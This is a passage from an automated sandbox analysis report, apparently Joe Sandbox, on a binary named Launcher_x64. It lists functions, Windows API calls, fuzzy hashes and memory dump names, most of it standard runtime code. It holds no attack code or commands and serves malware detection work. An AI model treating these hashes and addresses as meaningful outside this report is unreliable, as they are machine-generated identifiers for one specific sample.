Instruction Fuzzy Hash: 1601DE70905608ABCB08FFF8D4957AE7BB1EF44308F44446DE94657386DA309A90DF7A

Function 00D2AD2D Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D2B0D7: GetConsoleOutputCP.KERNEL32(E7FA7683,00000000,00000000,?), ref: 00D2B13A

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,00D1A691,?,00D1A8F3), ref: 00D2AEB2
GetLastError.KERNEL32(?,00D1A691,?,00D1A8F3,?,00D1A8F3,?,?,?,?,?,?,?,?,?,?), ref: 00D2AEBC

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 3a975249cdef84af3a0f91c9a50caac692ed0591a7b54ab4483e45030df60da2
Instruction ID: 8a059ef4811bee2dc380dae24473106bfbb5875495d7735a17cbf1c9e6245ffd
Opcode Fuzzy Hash: 3a975249cdef84af3a0f91c9a50caac692ed0591a7b54ab4483e45030df60da2
Instruction Fuzzy Hash: DC61B4B1900229AFDF01CFACE944AAEBBB9EF69308F190145F914A7251D375D902CB71

Function 00D2B506 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00D2AE98,?,00D1A8F3,?,?,?,00000000), ref: 00D2B5A2
GetLastError.KERNEL32(?,00D2AE98,?,00D1A8F3,?,?,?,00000000,?,?,?,?,?,00D1A691,?,00D1A8F3), ref: 00D2B5C8

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 33734a437fae5f7e249bbbdb70e83cba3547175b2f1359f27833b839f01078ae
Instruction ID: 4bb2d4d03482364b56ced640b6c2d44d10a505c4556548e4e74866ef560bc52e
Opcode Fuzzy Hash: 33734a437fae5f7e249bbbdb70e83cba3547175b2f1359f27833b839f01078ae
Instruction Fuzzy Hash: B1215E35A002299BCB19CF19E8809E9B7FAEF59315F1441AAE946DB211D770ED42CF70

Function 00D048C0 Relevance: 3.1, APIs: 2, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D048DF

Part of subcall function 00D04D90: std::_Lockit::_Lockit.LIBCPMT ref: 00D04DBE
Part of subcall function 00D04D90: std::_Lockit::~_Lockit.LIBCPMT ref: 00D04DE9

std::_Lockit::~_Lockit.LIBCPMT ref: 00D049AB

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: c445017e5aa2fa141ae08bcaf0acbb7708f429434c32407b6aeca698324bba11
Instruction ID: cd63ae72e34870ec960ef852f1a7422e885a49bd42318ed96ba58401c540e7a4
Opcode Fuzzy Hash: c445017e5aa2fa141ae08bcaf0acbb7708f429434c32407b6aeca698324bba11
Instruction Fuzzy Hash: 5D319BB4D04209DFCB04EFA4E595AEEBBF0FF04304F104569E955A7391DA34AA54CFA1

Function 00D24C19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00D24B08,00D3EBC0), ref: 00D24C65
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00D24B08,00D3EBC0), ref: 00D24C77

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a38d6dd5eb275fc368f4c888dd7bc1af01b22e37437c106495939c99a5c6d6d8
Instruction ID: d70a8dc6d52443ec7432790cbe7e9f8a5b020c4f9b86593e586ab22f8a5dd872
Opcode Fuzzy Hash: a38d6dd5eb275fc368f4c888dd7bc1af01b22e37437c106495939c99a5c6d6d8
Instruction Fuzzy Hash: F511E73110576146C7304F3EACC8521BA94A7A2338B3C0719D8F6D66F5C630D882F660

Function 00D1277A Relevance: 3.0, APIs: 2, Instructions: 32
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Yarn.LIBCPMT ref: 00D1279A
_Yarn.LIBCPMT ref: 00D127BE

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Yarn
String ID:
API String ID: 1767336200-0
Opcode ID: b4db805de63351a07ad152f4935d1137d9e90d9ae9659bebb0e307af6aee2178
Instruction ID: 7787f5ccb25c7844a6f33bec293bb58c70bef30a4f6df143b0535961654b1cee
Opcode Fuzzy Hash: b4db805de63351a07ad152f4935d1137d9e90d9ae9659bebb0e307af6aee2178
Instruction Fuzzy Hash: 9CE0E5723482147BEB196666BC52BB737D8DB407A1F14012DF90AD65C1ED11AC44C575

Function 00D01BA0 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00D01BC8
GetModuleFileNameA.KERNEL32 ref: 00D01BE8

Part of subcall function 00D01890: CreateFileA.KERNELBASE ref: 00D01913

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: f67d2547a7daab5b9d19157966755300965e35e72c16019d8270623c7f04130d
Instruction ID: 391316f2006cf5ab3666d58f4a5a0757fe15a240c3cd76d0c7d937036c4f2395
Opcode Fuzzy Hash: f67d2547a7daab5b9d19157966755300965e35e72c16019d8270623c7f04130d
Instruction Fuzzy Hash: 80F0F9B19042089FC744EF78E8453ADBBF4EB14300F4185ADD4C9D3340EA746A988F92

Function 00D23187 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00D27421,?,00000000,?,?,00D270C1,?,00000007,?,?,00D27A07,?,?), ref: 00D2319D
GetLastError.KERNEL32(?,?,00D27421,?,00000000,?,?,00D270C1,?,00000007,?,?,00D27A07,?,?), ref: 00D231A8

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 8ec5d49243d942abc5e88b613e7d7676b18c4696e96c64371fbaf455669b0b7c
Instruction ID: d08da92f9ab9e1eb6161c1d4667d5c1d527580f699806b86c04346b355cb87a4
Opcode Fuzzy Hash: 8ec5d49243d942abc5e88b613e7d7676b18c4696e96c64371fbaf455669b0b7c
Instruction Fuzzy Hash: 04E08C32100318ABCB122FA0BC09B993BAAEB44795F084024FA0CD6160CA3889A0CFB4

Function 00D14CF2 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8534c85fec3bf50382eda10a7e0af9f77d03954e5b48c068269900fa4d7f449
Instruction ID: ab740a044ef45c3565d1169d8a674a2f83590bab5285fdac1a926a311c791e1d
Opcode Fuzzy Hash: d8534c85fec3bf50382eda10a7e0af9f77d03954e5b48c068269900fa4d7f449
Instruction Fuzzy Hash: 35418075A0021ABBCF14DFA8E4909EEB7F9FF08314B54016AE541E7640EB31E991CBB0

Function 00D13A58 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ceee6d3c6af76ffef4f68b66ad0de1c60afbeda7056f87d3b0c6f9a6512b0a0
Instruction ID: 99165ce48ec2d419f245d437f5d4f5074fbc157efb3ab80d0140aa212e3c06c9
Opcode Fuzzy Hash: 5ceee6d3c6af76ffef4f68b66ad0de1c60afbeda7056f87d3b0c6f9a6512b0a0
Instruction Fuzzy Hash: 9831543250421ABFCF14DE68E9909E9B7B9BF19324B144259E551E3290EB31FA94CBB0

Function 00D12B92 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 00D12B03: GetModuleHandleExW.KERNEL32(00000002,00000000,00D0E5B1,?,?,00D12AC6,?,?,00D12A97,?,?,?,00D0E5B1), ref: 00D12B0F

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,E7FA7683,?,?,?,00D33374,000000FF), ref: 00D12BF9

Part of subcall function 00D0B920: std::_Throw_Cpp_error.LIBCPMT ref: 00D0B94C
Part of subcall function 00D0B920: std::_Throw_Cpp_error.LIBCPMT ref: 00D0B968

Part of subcall function 00D15C60: ReleaseSRWLockExclusive.KERNEL32(?,?,?,00D0B9E9,?,00D0FD92), ref: 00D15C75

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: 00d0bfb197017cdc3e2b8fab2b2caee7a1dea897a2688ac5ff0c4c61b2a57752
Instruction ID: 4f9d1d870565fa0be594443abda409f34fdcbd7f598f9806d96cc30c696d188c
Opcode Fuzzy Hash: 00d0bfb197017cdc3e2b8fab2b2caee7a1dea897a2688ac5ff0c4c61b2a57752
Instruction Fuzzy Hash: 2111E236608644BBCB256F65FD01ABE7765EB41B20F18041AF905D67A4CF36E890CAB4

Function 00D241C4 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b217f8284b073c936573e7890dd5d407c4e02f94cd13fe9e2ba24bbaf42f2e
Instruction ID: 09a9e1a31828f6dba7a97cb6ce362a21430134fb44950c710f578a4c1c4448cd
Opcode Fuzzy Hash: b7b217f8284b073c936573e7890dd5d407c4e02f94cd13fe9e2ba24bbaf42f2e
Instruction Fuzzy Hash: 3C01D2372003249F8B028E69FC40A26376AFF96328B254124FA00CB254DA30E8408AB5

Function 00D13A4A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 77489b1090966328f3f07c41f4870016e8a0d06eb2f7be2d783cdda5807c53e1
Instruction ID: d11ac4dc9dab15a745ef4423f1ca118ea1ee39dd6de5fda9f23ae9d6f7ac5952
Opcode Fuzzy Hash: 77489b1090966328f3f07c41f4870016e8a0d06eb2f7be2d783cdda5807c53e1
Instruction Fuzzy Hash: BF01D17660C6167BCB258BB8F9697E9BB50FF41334F24426FE052955C1DF22A690C370

Function 00D231C1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00D122A9,?,?,00D03E32,00001000,?,00D03D7A), ref: 00D231F3

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3fa134e6d329365a484e02b01af2c890ee5036a1941e9d00bbceacd432312171
Instruction ID: a4dcf3c02aab0657f60f28526e7a0adbd1f109b69bc404e92d5d52b085acee24
Opcode Fuzzy Hash: 3fa134e6d329365a484e02b01af2c890ee5036a1941e9d00bbceacd432312171
Instruction Fuzzy Hash: B7E02B3114033167D7222B61BC02B9B7B59EF227A4F080020FC1DD61D0CF59CE5182F0

Function 00D108D0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00D108F1

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 238d24ba721e6323cc6bf01d29c27b2a15ce58c99b8b4b94d52b965bb8bb163e
Instruction ID: 9385be6193074bd6914c088f36484f040f50677ab232478dbb475c1d6eea2e73
Opcode Fuzzy Hash: 238d24ba721e6323cc6bf01d29c27b2a15ce58c99b8b4b94d52b965bb8bb163e
Instruction Fuzzy Hash: 65E04F30C08308EBCB04FBB4E1455ADBBB4EFC4310F1040AAE84957351DB719E94CBA1

Function 00D0BDB0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00D0BDD1

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: a30ae68e049c7e956b783bb4e37629f1f29edf683a27e5578c88f21e457d13c9
Instruction ID: 1a12b61975f8c752765891ca395c54f355390212b7e13923f32a70660d975361
Opcode Fuzzy Hash: a30ae68e049c7e956b783bb4e37629f1f29edf683a27e5578c88f21e457d13c9
Instruction Fuzzy Hash: C9E0BF74D08208EBCB04EBA4D1556ADB7B5EFC4324F1040AAE44967391DB319E54CB75

Non-executed Functions

Function 00D2EB72 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00D2ED89

Strings

1#INF, xrefs: 00D2ECA8
1#SNAN, xrefs: 00D2EC7E
1#QNAN, xrefs: 00D2EC85
1#IND, xrefs: 00D2EC77

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 6dd0deb7801d695a90f15acc70bc79e1eb8bc22a197e8fe4819ea50dbfc85a90
Instruction ID: 67314ea32f1b65e0d39dc31f09bf279dd44cfec0fe6fca9466104450acfcf01c
Opcode Fuzzy Hash: 6dd0deb7801d695a90f15acc70bc79e1eb8bc22a197e8fe4819ea50dbfc85a90
Instruction Fuzzy Hash: C7D21771E082288FDB65CF28ED407EAB7B5EB54309F1845EAD44DE7240D778AE818F61

Function 00D28B44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00D28515,00000002,00000000,?,?,?,00D28515,?,00000000), ref: 00D28BDD
GetLocaleInfoW.KERNEL32(?,20001004,00D28515,00000002,00000000,?,?,?,00D28515,?,00000000), ref: 00D28C06
GetACP.KERNEL32(?,?,00D28515,?,00000000), ref: 00D28C1B

Strings

OCP, xrefs: 00D28B98
ACP, xrefs: 00D28B62

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
